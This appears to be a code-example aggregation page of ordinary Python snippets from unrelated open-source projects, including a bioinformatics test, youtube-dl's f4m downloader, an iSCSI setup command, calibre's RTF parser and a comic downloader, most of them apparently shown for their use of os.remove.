        clean_reads_dir = join(project_dir, 'reads', 'cleaned')
        if os.path.exists(clean_reads_dir):
            shutil.rmtree(join(project_dir, 'reads'))
        os.mkdir(join(project_dir, 'reads'))
        shutil.copytree(join(repository_dir, 'assembling'),
                        join(project_dir, 'reads/cleaned'))
        if exists(join(project_dir, 'mapping')):
            shutil.rmtree(join(project_dir, 'mapping'))
        os.makedirs(join(project_dir, 'mapping', 'reference'))
        shutil.copy(join(repository_dir, 'mapping', 'reference.fasta'),
                    join(project_dir, 'mapping', 'reference',
                         'reference.fasta'))

        analyses = ['mapping', 'merge_bams', 'realign_bam']
        run_analysis(analyses, settings_path)

    if choice in ('snvs', None):
        annot_dir = join(project_dir, 'annotations')
        create_dir(annot_dir)
        annot_res = join(annot_dir, 'repr')
        os.mkdir(join(annot_dir, 'input'))
        os.mkdir(annot_res)
        shutil.copy(join(repository_dir, 'snvs', 'reference.fasta'),
                    join(annot_dir, 'input', 'reference.fasta'))

        mapping_dir = join(project_dir, 'mapping')
        create_dir(mapping_dir)
        os.mkdir(join(mapping_dir, 'reference'))
        shutil.copy(join(repository_dir, 'snvs', 'merged.bam'),
                   join(project_dir, 'mapping', 'merged.bam'))
        shutil.copy(join(repository_dir, 'snvs', 'reference.fasta'),
                   join(project_dir, 'mapping', 'reference', 'reference.fasta'))
        analyses = ['annotate_snvs', 'filter_snvs', 'annotation_stats',
                    'write_annotations']
        run_analysis(analyses, settings_path)

        stats_fpath = join(project_dir, 'annotations', 'features', 'stats',
                            'reference.txt')
        result = open(stats_fpath).read()

        #print  result
        expected = '''Sequences with SNVs: 47
SNVs found: 176
SNV types:
\tinsertion: 1
\tdeletion: 11
\tcomplex: 7
\ttransition: 113
\ttransversion: 44
SNV locations:
\tunknown: 176'''
        assert expected in result

    if choice in ('annotation', None):
        annot_dir = join(project_dir, 'annotations')
        if exists(join(annot_dir)):
            shutil.rmtree(annot_dir)
        os.mkdir(annot_dir)
        shutil.copytree(join(repository_dir, 'annotation', 'input'),
                        join(annot_dir, 'input'))
        shutil.copytree(join(repository_dir, 'annotation', 'blast'),
                        join(annot_dir, 'blast'))

        analyses = ['annotate_orfs', 'annotate_microsatellites',
                    'annotate_gos', 'annotate_descriptions',
                    'annotate_orthologs', 'annotate_introns',
                    'annotate_prot_change',
                    'write_annotations', 'annotation_stats']
        run_analysis(analyses, settings_path)

        stats_fpath = join(project_dir, 'annotations', 'features', 'stats',
                            'tair7_cdna.st_nucl.txt')
        result = open(stats_fpath).read()
        expected = '''Number of sequences: 4
Sequences with description: 4
Sequences with ORF: 4
Number of ORFs: 4
Sequences with intron: 2
Number of introns: 3'''
        assert expected in result

    if not analysis_dir:
        analysis_fhand.close()

Example 126

Project: script.module.youtube.dl
Source File: f4m.py
View license
    def real_download(self, filename, info_dict):
        man_url = info_dict['url']
        requested_bitrate = info_dict.get('tbr')
        self.to_screen('[%s] Downloading f4m manifest' % self.FD_NAME)
        urlh = self.ydl.urlopen(man_url)
        man_url = urlh.geturl()
        # Some manifests may be malformed, e.g. prosiebensat1 generated manifests
        # (see https://github.com/rg3/youtube-dl/issues/6215#issuecomment-121704244
        # and https://github.com/rg3/youtube-dl/issues/7823)
        manifest = fix_xml_ampersands(urlh.read().decode('utf-8', 'ignore')).strip()

        doc = compat_etree_fromstring(manifest)
        formats = [(int(f.attrib.get('bitrate', -1)), f)
                   for f in self._get_unencrypted_media(doc)]
        if requested_bitrate is None or len(formats) == 1:
            # get the best format
            formats = sorted(formats, key=lambda f: f[0])
            rate, media = formats[-1]
        else:
            rate, media = list(filter(
                lambda f: int(f[0]) == requested_bitrate, formats))[0]

        base_url = compat_urlparse.urljoin(man_url, media.attrib['url'])
        bootstrap_node = doc.find(_add_ns('bootstrapInfo'))
        # From Adobe F4M 3.0 spec:
        # The <baseURL> element SHALL be the base URL for all relative
        # (HTTP-based) URLs in the manifest. If <baseURL> is not present, said
        # URLs should be relative to the location of the containing document.
        boot_info, bootstrap_url = self._parse_bootstrap_node(bootstrap_node, man_url)
        live = boot_info['live']
        metadata_node = media.find(_add_ns('metadata'))
        if metadata_node is not None:
            metadata = base64.b64decode(metadata_node.text.encode('ascii'))
        else:
            metadata = None

        fragments_list = build_fragments_list(boot_info)
        test = self.params.get('test', False)
        if test:
            # We only download the first fragment
            fragments_list = fragments_list[:1]
        total_frags = len(fragments_list)
        # For some akamai manifests we'll need to add a query to the fragment url
        akamai_pv = xpath_text(doc, _add_ns('pv-2.0'))

        ctx = {
            'filename': filename,
            'total_frags': total_frags,
            'live': live,
        }

        self._prepare_frag_download(ctx)

        dest_stream = ctx['dest_stream']

        write_flv_header(dest_stream)
        if not live:
            write_metadata_tag(dest_stream, metadata)

        base_url_parsed = compat_urllib_parse_urlparse(base_url)

        self._start_frag_download(ctx)

        frags_filenames = []
        while fragments_list:
            seg_i, frag_i = fragments_list.pop(0)
            name = 'Seg%d-Frag%d' % (seg_i, frag_i)
            query = []
            if base_url_parsed.query:
                query.append(base_url_parsed.query)
            if akamai_pv:
                query.append(akamai_pv.strip(';'))
            if info_dict.get('extra_param_to_segment_url'):
                query.append(info_dict['extra_param_to_segment_url'])
            url_parsed = base_url_parsed._replace(path=base_url_parsed.path + name, query='&'.join(query))
            frag_filename = '%s-%s' % (ctx['tmpfilename'], name)
            try:
                success = ctx['dl'].download(frag_filename, {'url': url_parsed.geturl()})
                if not success:
                    return False
                (down, frag_sanitized) = sanitize_open(frag_filename, 'rb')
                down_data = down.read()
                down.close()
                reader = FlvReader(down_data)
                while True:
                    try:
                        _, box_type, box_data = reader.read_box_info()
                    except DataTruncatedError:
                        if test:
                            # In tests, segments may be truncated, and thus
                            # FlvReader may not be able to parse the whole
                            # chunk. If so, write the segment as is
                            # See https://github.com/rg3/youtube-dl/issues/9214
                            dest_stream.write(down_data)
                            break
                        raise
                    if box_type == b'mdat':
                        dest_stream.write(box_data)
                        break
                if live:
                    os.remove(encodeFilename(frag_sanitized))
                else:
                    frags_filenames.append(frag_sanitized)
            except (compat_urllib_error.HTTPError, ) as err:
                if live and (err.code == 404 or err.code == 410):
                    # We didn't keep up with the live window. Continue
                    # with the next available fragment.
                    msg = 'Fragment %d unavailable' % frag_i
                    self.report_warning(msg)
                    fragments_list = []
                else:
                    raise

            if not fragments_list and not test and live and bootstrap_url:
                fragments_list = self._update_live_fragments(bootstrap_url, frag_i)
                total_frags += len(fragments_list)
                if fragments_list and (fragments_list[0][1] > frag_i + 1):
                    msg = 'Missed %d fragments' % (fragments_list[0][1] - (frag_i + 1))
                    self.report_warning(msg)

        self._finish_frag_download(ctx)

        for frag_file in frags_filenames:
            os.remove(encodeFilename(frag_file))

        return True

Example 127

Project: karesansui
Source File: add_iscsi.py
View license
    def process(self):
        (opts, args) = getopts()
        chkopts(opts)
        self.up_progress(10)

        original_parser = iscsidParser()
        new_parser = iscsidParser()
        dop = DictOp()

        dop.addconf("original", original_parser.read_conf())
        dop.addconf("new", new_parser.read_conf())

        self.up_progress(10)

        dop.cdp_set("new", ISCSI_CONFIG_KEY_AUTH_METHOD, opts.auth)
        if opts.auth == ISCSI_CONFIG_VALUE_AUTH_METHOD_CHAP:
            password = ""
            if opts.password is not None:
                password = opts.password
            elif opts.password_file is not None and is_readable(opts.password_file):
                try:
                    fp = open(opts.password_file, "r")
                    try:
                        fcntl.lockf(fp.fileno(), fcntl.LOCK_SH)
                        try:
                            password = fp.readline().strip("\n")
                        finally:
                            fcntl.lockf(fp.fileno(), fcntl.LOCK_UN)

                        self.up_progress(10)
                    finally:
                        fp.close()

                except:
                    raise KssCommandException('Failed to read file. - target host=%s password_file=%s' \
                                                  % (opts.host,opts.password_file))

                try:
                    os.remove(opts.password_file)
                except:
                    raise KssCommandException('Failed to remove file. - target host=%s password_file=%s' \
                                                  % (opts.host,opts.password_file))

            dop.cdp_set("new", ISCSI_CONFIG_KEY_AUTH_METHOD, opts.auth)
            dop.cdp_set("new", ISCSI_CONFIG_KEY_AUTH_USER, opts.user)
            dop.cdp_set("new", ISCSI_CONFIG_KEY_AUTH_PASSWORD, password)
        else:
            dop.comment("new", ISCSI_CONFIG_KEY_AUTH_USER)
            dop.comment("new", ISCSI_CONFIG_KEY_AUTH_PASSWORD)

        self.up_progress(10)
        if opts.autostart:
            dop.cdp_set("new", ISCSI_CONFIG_KEY_SATRTUP, ISCSI_CONFIG_VALUE_SATRTUP_ON)
        else:
            dop.cdp_set("new", ISCSI_CONFIG_KEY_SATRTUP, ISCSI_CONFIG_VALUE_SATRTUP_OFF)

        new_parser.write_conf(dop.getconf("new"))
        self.up_progress(10)

        discovery_command_args = (ISCSI_CMD,
                                  ISCSI_CMD_OPTION_MODE,
                                  ISCSI_CMD_OPTION_MODE_DISCOVERY,
                                  ISCSI_CMD_OPTION_TYPE,
                                  ISCSI_CMD_OPTION_TYPE_SENDTARGETS,
                                  ISCSI_CMD_OPTION_PORTAL,
                                  opts.host
                                  )

        (discovery_rc,discovery_res) = execute_command(discovery_command_args)
        self.up_progress(10)

        original_parser.write_conf(dop.getconf("original"))
        self.up_progress(10)

        if discovery_rc != 0:
            raise KssCommandException('Failed to add iSCSI. - host=%s message=%s' % (opts.host, discovery_res))

        if discovery_res == []:
            raise KssCommandException('Failed to add iSCSI. - host=%s message=No exist permit iSCSI disk for target.' % (opts.host))

        for node_line in discovery_res:
            if not node_line:
                continue

            try:
                node = iscsi_parse_node(node_line)
            except:
                self.logger.warn('Failed to parse iSCSI discovery command response. message="%s"' % (node_line))
                continue

            self.logger.info("%s" % (iscsi_print_format_node(node)))
            print >>sys.stdout, _("%s") % (iscsi_print_format_node(node))

        return True

Example 128

Project: VisTrails
Source File: MDSBuilder.py
View license
    def run(self):
        '''
        This routine loops through a set of rasters and creates an MDS file
        '''
        
        self.validateArgs()
        self.writetolog('\nRunning MDSBuilder', True, True)
        # start timing
        startTime = time.time()
        gdal.UseExceptions()
        gdal.AllRegister()
        
        self.constructEmptyMDS()
        
        if self.pointcount <> 0:
            self.addBackgroundPoints()
        
        outputRows = self.readInPoints()
        
        #loop though each of the supplied rasters and add the 
        #extracted values to
        for input in self.inputs:
            inputND = self.getND(input)
            rasterDS = gdal.Open(input, gdalconst.GA_ReadOnly)
            # get image size
            rows = rasterDS.RasterYSize
            cols = rasterDS.RasterXSize
            band = rasterDS.GetRasterBand(1)
            # get georeference info
            transform = rasterDS.GetGeoTransform()
            xOrigin = transform[0]
            yOrigin = transform[3]
            pixelWidth = transform[1]
            pixelHeight = transform[5]
            
            if self.verbose:
                self.writetolog("    Extracting raster values for " + input)
                print "    ",
            
            pcntDone = 0
            i = 1
            badpoints = []
            for row in outputRows:
                x = float(row[0])
                y = float(row[1])
                # compute pixel offset
                xOffset = int((x - xOrigin) / pixelWidth)
                yOffset = int((y - yOrigin) / pixelHeight)
#                try:
                if xOffset < 0 or yOffset < 0:
                    if row[:3] not in badpoints:
                        badpoints.append(row[:3])
                    row.append(str(self.NDFlag))
                else:
                    try:
                        data = band.ReadAsArray(xOffset, yOffset, 1, 1)
                        value = data[0,0]
                        if value <> inputND:
                            row.append(value)
                        else:
                            row.append(str(self.NDFlag))
                    except:
                        badpoints.append(row[:3])
                        row.append(str(self.NDFlag))
                
                if self.verbose:
                    if i/float(len(outputRows)) > float(pcntDone)/100:
                        pcntDone += 10
                        print str(pcntDone) + "...",
                i += 1
            if self.verbose:
                self.writetolog("    Done")
        if len(badpoints) > 0:
                msg =  "\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
                msg += "\n!!!!!!!!!!!!!!!!!!!!!WARNING!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"
                msg += str(len(badpoints)) + " point fell outside the Covariate coverage."
                msg += "\nThese points were assigned the NoData value of -9999 for all covariates and will"
                msg += "not be included in subsequent models.\n     These points are:"
                for badpoint in badpoints:
                    msg += "     x:" + str(row[0]) + " Y: " + str(row[1]) + " response: " + str(row[2]) 
                self.writetolog(msg)
            
            
        outputMDS = csv.writer(open(self.outputMDS, 'ab'))
        thrownOut = 0
        kept = 0
        for row in outputRows:
            #remove this if when Marian handles the ND   
            if not str(self.NDFlag) in row[3:]:
                outputMDS.writerow(row)
                kept += 1
            else:
                outputMDS.writerow(row)
                thrownOut += 1
        if thrownOut > 0:
            msg =  "\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
            msg += "\n!!!!!!!!!!!!!!!!!!!!!WARNING!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"
            msg += str(thrownOut) + " points had 'nodata' in at least one of the covariates."
            msg += "\nThese points will not be considered in subsequent Models."
            msg +=  "\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
            msg +=  "\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
            self.writetolog(msg)
        del outputMDS
        
        #convert the mds csv to a shapefile
        output_shp = self.outputMDS.replace(".csv", ".mds")
        utilities.mds_to_shape(self.outputMDS, output_shp)
        
        # figure out how long the script took to run
        endTime = time.time()
        
        if self.deleteTmp:
            #if this flag is trud the field data we're working with is 
            # a temporary copy which we created so that we could add
            # background points.  Delete it to clean up our working file.
            os.remove(self.fieldData)
        
        if self.verbose:
            self.writetolog('Finished running MDSBuilder', True, True)
            self.writetolog('    The process took ' + str(endTime - startTime) + ' seconds')

Example 129

Project: pymo
Source File: config.py
View license
def listen(port=DEFAULT_LOGGING_CONFIG_PORT):
    """
    Start up a socket server on the specified port, and listen for new
    configurations.

    These will be sent as a file suitable for processing by fileConfig().
    Returns a Thread object on which you can call start() to start the server,
    and which you can join() when appropriate. To stop the server, call
    stopListening().
    """
    if not thread:
        raise NotImplementedError, "listen() needs threading to work"

    class ConfigStreamHandler(StreamRequestHandler):
        """
        Handler for a logging configuration request.

        It expects a completely new logging configuration and uses fileConfig
        to install it.
        """
        def handle(self):
            """
            Handle a request.

            Each request is expected to be a 4-byte length, packed using
            struct.pack(">L", n), followed by the config file.
            Uses fileConfig() to do the grunt work.
            """
            import tempfile
            try:
                conn = self.connection
                chunk = conn.recv(4)
                if len(chunk) == 4:
                    slen = struct.unpack(">L", chunk)[0]
                    chunk = self.connection.recv(slen)
                    while len(chunk) < slen:
                        chunk = chunk + conn.recv(slen - len(chunk))
                    #Apply new configuration. We'd like to be able to
                    #create a StringIO and pass that in, but unfortunately
                    #1.5.2 ConfigParser does not support reading file
                    #objects, only actual files. So we create a temporary
                    #file and remove it later.
                    file = tempfile.mktemp(".ini")
                    f = open(file, "w")
                    f.write(chunk)
                    f.close()
                    try:
                        fileConfig(file)
                    except (KeyboardInterrupt, SystemExit):
                        raise
                    except:
                        traceback.print_exc()
                    os.remove(file)
            except socket.error, e:
                if type(e.args) != types.TupleType:
                    raise
                else:
                    errcode = e.args[0]
                    if errcode != RESET_ERROR:
                        raise

    class ConfigSocketReceiver(ThreadingTCPServer):
        """
        A simple TCP socket-based logging config receiver.
        """

        allow_reuse_address = 1

        def __init__(self, host='localhost', port=DEFAULT_LOGGING_CONFIG_PORT,
                     handler=None):
            ThreadingTCPServer.__init__(self, (host, port), handler)
            logging._acquireLock()
            self.abort = 0
            logging._releaseLock()
            self.timeout = 1

        def serve_until_stopped(self):
            import select
            abort = 0
            while not abort:
                rd, wr, ex = select.select([self.socket.fileno()],
                                           [], [],
                                           self.timeout)
                if rd:
                    self.handle_request()
                logging._acquireLock()
                abort = self.abort
                logging._releaseLock()

    def serve(rcvr, hdlr, port):
        server = rcvr(port=port, handler=hdlr)
        global _listener
        logging._acquireLock()
        _listener = server
        logging._releaseLock()
        server.serve_until_stopped()

    return threading.Thread(target=serve,
                            args=(ConfigSocketReceiver,
                                  ConfigStreamHandler, port))

Example 130

Project: rk
Source File: rk.py
View license
def install_kernel(args):
    """Install remote jupyter kernel/kernels"""

    def copy_logos(img_location, logo_name_srt, destination):
        """Copy logos"""

        for size in ["32", "64"]:
            logo_abs_path_str = join(join(module_location, img_location),
                                     logo_name_srt)
            logo_abs_path = logo_abs_path_str.format(size)
            logo_name = logo_name_srt.format(size)
            if exists(logo_abs_path) and isfile(logo_abs_path):
                try:
                    link(logo_abs_path, join(destination, logo_name))
                except Exception:
                    try:
                        copyfile(logo_abs_path, join(destination, logo_name))
                    except Exception as exception: # Python3 PermissionError
                        error_code = exception.errno
                        if error_code == EACCES: # 13
                            print(messages["_error_NoRoot"])
                            exit(1)
                        else:
                            print(messages["_error_Oops"] %
                                    strerror(error_code))
                            exit(1)

    def create_directory(directory_name, mode=0o777):
        """Recursive directory creation function
        os.chmod work only for last directory

        """

        try:
            makedirs(directory_name, mode)
        except Exception as exception:
            error_code = exception.errno
            if error_code == EACCES: # 13 (Python3 PermissionError)
                print(messages["_error_NoRoot"])
                exit(1)
            elif error_code == ENOTDIR: # 20 (Python3 NotADirectoryError)
                path = directory_name
                while path != '/':
                    if isfile(path):
                        try:
                            remove(path)
                        except Exception as exception: # Python3
                                                       # PermissionError
                            error_code = exception.errno
                            if error_code == EACCES: # 13
                                print(messages["_error_NoRoot"])
                                exit(1)
                            else:
                                print(messages["_error_Oops"] %
                                        strerror(error_code))
                                exit(1)
                    path = dirname(path)
                try:
                    makedirs(directory_name, mode)
                except Exception as exception: # Python3 PermissionError
                    error_code = exception.errno
                    if error_code == EACCES: # 13
                        print(messages["_error_NoRoot"])
                        exit(1)
                    else:
                        print(messages["_error_Oops"] % strerror(error_code))
                        exit(1)
            else:
                print(messages["_error_Oops"] % strerror(error_code))
                exit(1)

    def create_kernel_json_file(display_name, language, script, interpreter,
                                connection_file, remote_host, destination):
        """Create kernel.json file"""

        kernel_dict = {"argv": [], "display_name": display_name,
                       "language": language}
        kernel_dict["argv"].append(script)
        kernel_dict["argv"].append(interpreter)
        kernel_dict["argv"].append(connection_file)
        kernel_dict["argv"].append(remote_host)
        try:
            with open(join(destination, "kernel.json"), 'w') as f:
                f.write(dumps(kernel_dict, indent=1, sort_keys=True))
        except Exception as exception: # Python3 PermissionError
            error_code = exception.errno
            if error_code == EACCES: # 13
                print(messages["_error_NoRoot"])
                exit(1)
            else:
                print(messages["_error_Oops"] % strerror(error_code))
                exit(1)

    kernels_location = config["kernels_location"]
    if '~' in kernels_location:
        kernels_location = expanduser(kernels_location)
    img_location = config["img_location"]
    logo_name_srt = config["logo_name_srt"]
    script = config["script"]
    connection_file = config["connection_file"]
    config_kernels_rel_path = config["config_kernels_rel_path"]
    config_kernels_abs_path = join(module_location,
                                   config_kernels_rel_path)
    kernel_names = args.kernel_names
    if kernel_names == None:
        # Install template of remote kernel
        kernel_name = config["kernel_name"]
        display_name = config["display_name"]
        language = config["language"]
        interpreter = config["interpreter"]
        remote_host = config["remote_host"]
        kernel_abs_path = join(kernels_location, kernel_name)
        if exists(kernel_abs_path) and isfile(kernel_abs_path):
            try:
                remove(kernel_abs_path)
            except Exception as exception: # Python3 PermissionError
                error_code = exception.errno
                if error_code == EACCES: # 13
                    print(messages["_error_NoRoot"])
                    exit(1)
                else:
                    print(messages["_error_Oops"] % strerror(error_code))
                    exit(1)
        if not exists(kernel_abs_path):
            # Create directory
            create_directory(kernel_abs_path, 0o755)
            # Copy logos
            copy_logos(img_location, logo_name_srt, kernel_abs_path)
            # Create kernel.json
            create_kernel_json_file(display_name, language, script,
                                    interpreter, connection_file,
                                    remote_host, kernel_abs_path)
            print(messages["_installed_template"])
        else:
            print(messages["_delete_template"])
            answer = raw_input()
            answer_lower = answer.lower()
            if ((answer_lower == 'y') or (answer_lower == 'yes') or
                    (answer_lower == 'yep')):
                uninstall_kernel(args)
                install_kernel(args)
    else:
        # Install kernel/kernels
        # Load kernels.json file
        with open(config_kernels_abs_path, 'r') as f:
            kernels_dict = load(f)
        # Check kernel_names list/
        no_kernel_names = []
        for kernel_name in kernel_names:
            if kernel_name not in kernels_dict:
                no_kernel_names.append(kernel_name)
        if len(no_kernel_names) != 0:
            if len(no_kernel_names) == 1:
                print(messages["_error_NoKernel"] % no_kernel_names[0])
            else:
                print(messages["_error_NoKernels"] %
                        '\' \''.join(no_kernel_names))
            exit(1)
        # /Check kernel_names list
        for kernel_name in kernel_names:
            display_name = kernels_dict[kernel_name]["display_name"]
            language = kernels_dict[kernel_name]["language"]
            interpreter = kernels_dict[kernel_name]["interpreter"]
            remote_host = kernels_dict[kernel_name]["remote_host"]
            kernel_abs_path = join(kernels_location, kernel_name)
            if exists(kernel_abs_path) and isfile(kernel_abs_path):
                try:
                    remove(kernel_abs_path)
                except Exception as exception: # Python3 PermissionError
                    error_code = exception.errno
                    if error_code == EACCES: # 13
                        print(messages["_error_NoRoot"])
                        exit(1)
                    else:
                        print(messages["_error_Oops"] % strerror(error_code))
                        exit(1)
            if not exists(kernel_abs_path):
                # Create directory
                create_directory(kernel_abs_path, 0o755)
                # Copy logos
                copy_logos(img_location, logo_name_srt, kernel_abs_path)
                # Create kernel.json
                create_kernel_json_file(display_name, language, script,
                                        interpreter, connection_file,
                                        remote_host, kernel_abs_path)
                print(messages["_installed"] % kernel_name)
            else:
                print(messages["_delete"] % kernel_name)
                answer = raw_input()
                answer_lower = answer.lower()
                if ((answer_lower == 'y') or (answer_lower == 'yes') or
                        (answer_lower == 'yep')):
                    args.kernel_names = [kernel_name]
                    uninstall_kernel(args)
                    install_kernel(args)

Example 131

View license
def Whole_Series(driver,url,Quality):
	#print '\nDownloading Whole Series'
	#print url

	Range_Input = str(raw_input("Enter The Range : ")).strip()

	

	if Range_Input.upper() not in ["NONE","NULL","ALL"]:

		Range_Splitter = Range_Input.split("-")
		Starting_Range = int(str(Range_Splitter[0]).strip())
		Ending_Range = int(str(Range_Splitter[1]).strip())

		Url_Spliiter = url.split("/Comic/")
		Extra_Remover = str(Url_Spliiter[1]).replace('/','')
		#print "Extra remover : ",Extra_Remover
		Show_Name = str(Extra_Remover).strip()
		Type_Input = str(raw_input("Annual or Issue? : ")).strip()

		if Type_Input.upper() in ["ANNUAL"]:
			Type = "Annual"
		if Type_Input.upper() in ["ISSUE"]:
			Type = "Issue"

		for x in range(Starting_Range,Ending_Range+1):
			#print x
			#Example URL = http://readcomiconline.to/Comic/Injustice-Gods-Among-Us-I/Issue-36?
			url = "http://readcomiconline.to/Comic/"+Show_Name+"/{}-".format(Type)+str(x)+"?&readType=1"
			#print url
			Single_Issue(url,Quality)

	if Range_Input.upper() in ["NONE","NULL","ALL"]:

		driver.get(url)
		try:
			print 'Bypassing the check. Wait for a few seconds please.'
			element = WebDriverWait(driver, 10).until(
				EC.presence_of_element_located((By.ID, "stSegmentFrame"))
			)
			#print 'Downloading the whole page! Will take some time, please don\'t close this script...\n'
			#print 'I\'ve waited long enough'
		except Exception, e:
			#raise e
			driver.save_screenshot('Whole_exception.png')
			print e
			pass
		finally:
			Source_Code = driver.page_source

			soure_file = open('source2.txt','w')
			soure_file.write(Source_Code)
			soure_file.flush()
			soure_file.close()
			driver.quit()
	
		driver.quit()
		try:
			os.remove('.Temp_File') #Removing this because I need to check if there's a file with this name or not. Because if the file exists, then it'll APPEND to the older script and it'll download old + new comics
		except Exception, e:
			#raise e
			pass

	
		with open('source2.txt') as searchfile:
			with open('.Temp_File','a') as Temp_File_variable:
				for line in searchfile:
					left,sep,right = line.partition('title="Read ') # Extra Space to make it more precise and drop the readcomiconline.to link
					if sep:
						OG_Title = left.split('"')
						#print OG_Title
						#print OG_Title[1]
						Raw_Issue_Links = OG_Title[1].strip()
						Issue_Links = 'http://readcomiconline.to'+str(Raw_Issue_Links)
						#print Issue_Links,' #'
						Temp_File_variable.write(str(Issue_Links)+'\n')
						Temp_File_variable.flush()
			Temp_File_variable.close()


		with open(".Temp_File","r") as input:
			with open(".Temp_File2","wb") as output: 
				for line in input:
					if line != "http://readcomiconline.to../../Content/images/bullet.png":
						output.write(line)
						#print line

		
		if Quality[1] in ['LATEST']:
			with open('.Temp_File','r') as Link_File:
				for line in Link_File:
					bs_link = 'http://readcomiconline.to../../Content/images/bullet.png'
					if bs_link in line:
						#print 'line'
						pass
					else :
						url = str(line)
						#print url
						Single_Issue(url,Quality)

	
		elif Quality[1] in ['OLD']:
			for line in reversed(open('.Temp_File').readlines()):
				#print line
				bs_link = 'http://readcomiconline.to../../Content/images/bullet.png'
				if bs_link in line:
					#print 'line'
					pass
				else :
					url = str(line)
					#print url
					Single_Issue(url,Quality)

		'''

Example 132

Project: calibre
Source File: ParseRtf.py
View license
    def parse_rtf(self):
        """
        Parse the file by calling on other classes.
        Requires:
            Nothing
        Returns:
            A parsed file in XML, either to standard output or to a file,
            depending on the value of 'output' when the instance was created.
        """
        self.__temp_file = self.__make_temp_file(self.__file)
        # if the self.__deb_dir is true, then create a copy object,
        # set the directory to write to, remove files, and copy
        # the new temporary file to this directory
        if self.__debug_dir:
            copy_obj = copy.Copy(
                bug_handler=RtfInvalidCodeException,
                    )
            copy_obj.set_dir(self.__debug_dir)
            copy_obj.remove_files()
            copy_obj.copy_file(self.__temp_file, "original_file")
        # Function to check if bracket are well handled
        if self.__debug_dir or self.__run_level > 2:
            self.__check_brack_obj = check_brackets.CheckBrackets(
                file=self.__temp_file,
                bug_handler=RtfInvalidCodeException,
            )
        # convert Macintosh and Windows line endings to Unix line endings
        # why do this if you don't wb after?
        line_obj = line_endings.FixLineEndings(
                in_file=self.__temp_file,
                bug_handler=RtfInvalidCodeException,
                copy=self.__copy,
                run_level=self.__run_level,
                replace_illegals=self.__replace_illegals,
                )
        return_value = line_obj.fix_endings()  # calibre return what?
        self.__return_code(return_value)
        tokenize_obj = tokenize.Tokenize(
                bug_handler=RtfInvalidCodeException,
                in_file=self.__temp_file,
                copy=self.__copy,
                run_level=self.__run_level)
        tokenize_obj.tokenize()
        process_tokens_obj = process_tokens.ProcessTokens(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            run_level=self.__run_level,
            exception_handler=InvalidRtfException,
            )
        try:
            return_value = process_tokens_obj.process_tokens()
        except InvalidRtfException, msg:
            # Check to see if the file is correctly encoded
            encode_obj = default_encoding.DefaultEncoding(
            in_file=self.__temp_file,
            run_level=self.__run_level,
            bug_handler=RtfInvalidCodeException,
            check_raw=True,
            default_encoding=self.__default_encoding,
            )
            platform, code_page, default_font_num = encode_obj.find_default_encoding()
            check_encoding_obj = check_encoding.CheckEncoding(
                    bug_handler=RtfInvalidCodeException,
                        )
            enc = encode_obj.get_codepage()
            # TODO: to check if cp is a good idea or if I should use a dict to convert
            enc = 'cp' + enc
            msg = '%s\nException in token processing' % str(msg)
            if check_encoding_obj.check_encoding(self.__file, enc):
                file_name = self.__file if isinstance(self.__file, str) \
                                    else self.__file.encode('utf-8')
                msg +='\nFile %s does not appear to be correctly encoded.\n' % file_name
            try:
                os.remove(self.__temp_file)
            except OSError:
                pass
            raise InvalidRtfException(msg)
        delete_info_obj = delete_info.DeleteInfo(
            in_file=self.__temp_file,
            copy=self.__copy,
            bug_handler=RtfInvalidCodeException,
            run_level=self.__run_level,)
        # found destination means {\*\destination
        # if found, the RTF should be newer RTF
        found_destination = delete_info_obj.delete_info()
        self.__bracket_match('delete_data_info')
        # put picts in a separate file
        pict_obj = pict.Pict(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            orig_file=self.__file,
            out_file=self.__out_file,
            run_level=self.__run_level,
           )
        pict_obj.process_pict()
        self.__bracket_match('pict_data_info')
        combine_obj = combine_borders.CombineBorders(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            run_level=self.__run_level,)
        combine_obj.combine_borders()
        self.__bracket_match('combine_borders_info')
        footnote_obj = footnote.Footnote(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            run_level=self.__run_level,
            )
        footnote_obj.separate_footnotes()
        self.__bracket_match('separate_footnotes_info')
        header_obj = header.Header(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            run_level=self.__run_level,
            )
        header_obj.separate_headers()
        self.__bracket_match('separate_headers_info')
        list_numbers_obj = list_numbers.ListNumbers(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            run_level=self.__run_level,
            )
        list_numbers_obj.fix_list_numbers()
        self.__bracket_match('list_number_info')
        preamble_div_obj = preamble_div.PreambleDiv(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            run_level=self.__run_level,
             )
        list_of_lists = preamble_div_obj.make_preamble_divisions()
        self.__bracket_match('make_preamble_divisions')
        encode_obj = default_encoding.DefaultEncoding(
            in_file=self.__temp_file,
            run_level=self.__run_level,
            bug_handler=RtfInvalidCodeException,
            default_encoding=self.__default_encoding,
            )
        platform, code_page, default_font_num = encode_obj.find_default_encoding()
        hex2utf_obj = hex_2_utf8.Hex2Utf8(
                in_file=self.__temp_file,
                copy=self.__copy,
                area_to_convert='preamble',
                char_file=self.__char_data,
                default_char_map=code_page,
                run_level=self.__run_level,
                bug_handler=RtfInvalidCodeException,
                invalid_rtf_handler=InvalidRtfException,
                )
        hex2utf_obj.convert_hex_2_utf8()
        self.__bracket_match('hex_2_utf_preamble')
        fonts_obj = fonts.Fonts(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            default_font_num=default_font_num,
            run_level=self.__run_level,
            )
        special_font_dict = fonts_obj.convert_fonts()
        self.__bracket_match('fonts_info')
        color_obj = colors.Colors(
            in_file=self.__temp_file,
            copy=self.__copy,
            bug_handler=RtfInvalidCodeException,
